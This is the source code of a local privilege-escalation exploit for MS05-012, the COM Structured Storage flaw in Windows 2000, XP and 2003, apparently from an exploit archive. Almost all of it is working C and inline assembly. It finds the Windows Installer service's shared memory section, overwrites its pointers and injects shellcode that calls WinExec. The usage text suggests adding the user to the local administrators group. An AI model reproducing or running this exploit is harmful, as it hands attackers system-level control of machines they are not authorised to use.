File size: 8,382 Bytes
497f2f3
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
// by Cesar Cerrudo - Argeniss - www.argeniss.com

// MS05-012 - COM Structured Storage Vulnerability - CAN-2005-0047 Exploit

//

// More exploits at www.argeniss.com/products.html

//

// Works on Win2k sp4, WinXP sp2, Win2k3 sp0

// Close all runing programs to avoid possible problems

// If it finds the section and it doesn't work remove section permissions 

// from msiexec service process with WinObj or crash the msiexec service and try again 

// if offsets don't work, debug and change them



#include <windows.h>

#include <stdio.h>



typedef struct _LSA_UNICODE_STRING {  

	USHORT Length;  

	USHORT MaximumLength; 

	PWSTR Buffer;

} UNICODE_STRING;



typedef struct _OBJDIR_INFORMATION {

  UNICODE_STRING          ObjectName;

  UNICODE_STRING          ObjectTypeName;

  BYTE                    Data[1];

} OBJDIR_INFORMATION;



typedef struct _OBJECT_ATTRIBUTES {

    ULONG Length;

    HANDLE RootDirectory;

    UNICODE_STRING *ObjectName;

    ULONG Attributes;

    PVOID SecurityDescriptor;        

    PVOID SecurityQualityOfService;  

} OBJECT_ATTRIBUTES;



#define InitializeObjectAttributes( p, n, a, r, s ) { \

    (p)->Length = sizeof( OBJECT_ATTRIBUTES );          \

    (p)->RootDirectory = r;                             \

    (p)->Attributes = a;                                \

    (p)->ObjectName = n;                                \

    (p)->SecurityDescriptor = s;                        \

    (p)->SecurityQualityOfService = NULL;               \

    }



typedef DWORD (WINAPI* MSIINSTALLPRODUCT)(LPCSTR szPackagePath, LPCSTR szCommandLine);

MSIINSTALLPRODUCT MsiInstallProduct;



typedef DWORD (WINAPI* NTQUERYDIRECTORYOBJECT)( HANDLE, OBJDIR_INFORMATION*, DWORD, DWORD ,DWORD,DWORD*,DWORD* );

NTQUERYDIRECTORYOBJECT NtQueryDirectoryObject;



typedef DWORD (WINAPI* NTOPENDIRECTORYOBJECT)( HANDLE *, DWORD,OBJECT_ATTRIBUTES* );

NTOPENDIRECTORYOBJECT  NtOpenDirectoryObject;





DWORD WINAPI  LoadWinInstaller(LPVOID lpParam) 

{ 

	HMODULE hMsi;



	hMsi = LoadLibrary("msi.dll"); 

	MsiInstallProduct = (MSIINSTALLPRODUCT)GetProcAddress(hMsi, "MsiInstallProductA");

  //run unistall , without permissions this makes a windows pop up

  //while this window is showing the shared section is created and available on Windows Installer service process

	MsiInstallProduct((char*)lpParam,"REMOVE=ALL");

  

	return 0; 

} 







int main(int argc, char* argv[])

{



  OBJDIR_INFORMATION *ssinfo  =(OBJDIR_INFORMATION* ) HeapAlloc(GetProcessHeap(), 0, 0x800);



  HANDLE hFile,hThread,hMapFile; 

  HMODULE hNtdll ,hKernel;

  DWORD dwThreadId; 

  OBJECT_ATTRIBUTES obj;

  WCHAR  * uString=L"\\BaseNamedObjects";

  UNICODE_STRING str;

  DWORD i,a,iStrLen,b=0;

  char sObjName[30],sTmp[50];

  LPVOID lpMapAddress;

  FARPROC pWinExec,pExitThread;

  bool bFound;

  char* sCommand;





  if (!argv[1]||!argv[2]) {

	printf("\nUsage :\n	SSExploit \"Applicatoin to uninstall\" \"command\" \n");

	printf("\nExamples :\n  SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"cmd.exe\" (cmd.exe will interactively run on Win2k only) \n  SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"net localgroup administrators /add youruser\" \n");

	exit(0);

  }

    

  iStrLen=strlen(argv[2]);



  if(iStrLen>=65){

	printf("\n\"command\" must be less than 65 chars.\n");

	exit(0);

  }



  sCommand=argv[2];



  hThread = CreateThread(NULL,0,LoadWinInstaller,argv[1],0,&dwThreadId); 



  Sleep(3000);



  hNtdll = LoadLibrary("ntdll.dll");    



  NtQueryDirectoryObject = (NTQUERYDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtQueryDirectoryObject");

  NtOpenDirectoryObject = (NTOPENDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtOpenDirectoryObject");

  

  str.Length=wcslen(uString)*2;

  str.MaximumLength =wcslen(uString)*2+2;

  str.Buffer =uString;



  InitializeObjectAttributes (&obj, &str, 0, 0, 00);

  NtOpenDirectoryObject(&hFile,0x20001,&obj);



  printf("\nSearching for Shared Section...\n\n"); 



  // Get all objects names under \BaseNamedObjects



  if (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,TRUE,&b,&a)==0){

	do{ 

		bFound=NULL;

		while (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,FALSE,&b,&a)==0){

		  //check if it's a section name	

			if (!wcscmp(ssinfo->ObjectTypeName.Buffer ,L"Section")){             

				for (i=0;(i<=wcslen(ssinfo->ObjectName.Buffer))&(i<30);i++){

					sObjName[i]=(char)ssinfo->ObjectName.Buffer[i];

				}

		      //check if it's the one we are searching for

				if (!strncmp(sObjName,"DfSharedHeap",12)){      

					bFound=1;

					break;

				}

			}

		}

		if (bFound)

			printf("Shared Section Found: %s\n",sObjName);

		else {

			printf("Shared Section Not Found");

			exit(0);

		}

    

		strcpy(sTmp,"Global\\");

		strcat(sTmp,sObjName);    //append global prefix to support Terminal Services	



		hMapFile = OpenFileMapping(FILE_MAP_WRITE, FALSE,sTmp); 

	

      //the shared section name couldn't be the one we are searching for

		if (hMapFile == NULL) 

			printf("Could not open Shared Section\n\n"); 

		else

			printf("Shared Section opened\n\n"); 

	

	} while (hMapFile == NULL) ;



	lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_WRITE,0,0,0);

 

	if (lpMapAddress == NULL) { 

		printf("Could not map Shared Section"); 

		exit(0);

	}

	else 

		printf("Shared Section Mapped\n\nOverwriting Pointer and Inyecting Shellcode...\n\n"); 



	hKernel=LoadLibrary("Kernel32.dll");

	

	pWinExec=GetProcAddress(hKernel,"WinExec");

	pExitThread=GetProcAddress(hKernel,"ExitThread");



	_asm{

			

		mov eax,fs:[30h]   // get pointer to PEB 

		mov eax,[eax+0A8h] // get OS minor version

		cmp eax,0x0

		jz W2ksp4

		cmp eax,0x1        

		jz WinXPsp2

		jmp Win2K3   // address of section seems static on same OS version

					

	W2Ksp4:

		mov eax,0x0101FFF0 // address of begining of section - 0x10 used to overwrite pointer

		mov edx,0x01020004 // address of shellcode

		jmp Done

	

	WinXPsp2:

		mov eax,0x0086FFF0 // address of begining of section - 0x10 used to overwrite pointer

		mov edx,0x00870004 // address of shellcode

		jmp Done

	

	Win2K3:

		mov eax,0x007BFFF0 // address of begining of section - 0x10 used to overwrite pointer

		mov edx,0x007C0004 // address of shellcode



	Done:

		mov ebx,lpMapAddress

		mov ecx, 0x1000



	l00p:                  // overwrite section data, so overwriten structures will point to shellcode

		mov dword ptr[ebx],eax 

		sub ecx,0x4

		add ebx,0x4



		cmp ecx,0x0

		jnz l00p



		mov ebx,lpMapAddress  //address of shellcode

		mov dword ptr[ebx],edx                    

		

	//start copying shellcode

    

		lea esi, Shellcode

		lea edi, [ebx+4]

		lea ecx, End

		sub ecx, esi

		push esi

		push edi

		cld

		rep movsb



		pop edi

		pop esi

		push edi

		lea ecx, CommandBuf

		sub ecx, esi

		add edi, ecx

		mov esi, sCommand

		mov ecx, iStrLen

		rep movsb

		mov [edi], 0x00



		pop edi

		mov esi, pWinExec

		mov [edi+0x5], esi



		mov esi, pExitThread

		mov [edi+0x9], esi



	}



	printf("Command should have been executed ;)\n"); 

	CloseHandle(hMapFile);



  }

  else printf("Couldn't get object names \n");	



  return 0;



	_asm{



	Shellcode:

		call getDelta

				// this gets overwrited

		mov ax,0xffff	

		mov ax,0xffff	



	CommandBuf:					// this gets overwrited

		mov dword ptr[eax],0x55555555

		mov dword ptr[eax],0x55555555	

		mov dword ptr[eax],0x55555555	

		mov dword ptr[eax],0x55555555	

		mov dword ptr[eax],0x55555555	

		mov dword ptr[eax],0x55555555	

		mov dword ptr[eax],0x55555555	

		mov dword ptr[eax],0x55555555	

		mov dword ptr[eax],0x55555555	

		mov dword ptr[eax],0x55555555	

		mov dword ptr[eax],0x55555555	



	getDelta:

		pop edx							// Get shellcode/shared section pointer

		push edx						// save edx



		push 0x1						// push 0x0 for hidden window

		lea eax, [edx+0x8]					

		push eax						// Command offset

		call [edx]						// Call WinExec

       

		pop edx

		call [edx+0x4]					// Call ExitThread to avoid msiexec service to crash



	End:

	}

}



// milw0rm.com [2005-05-31]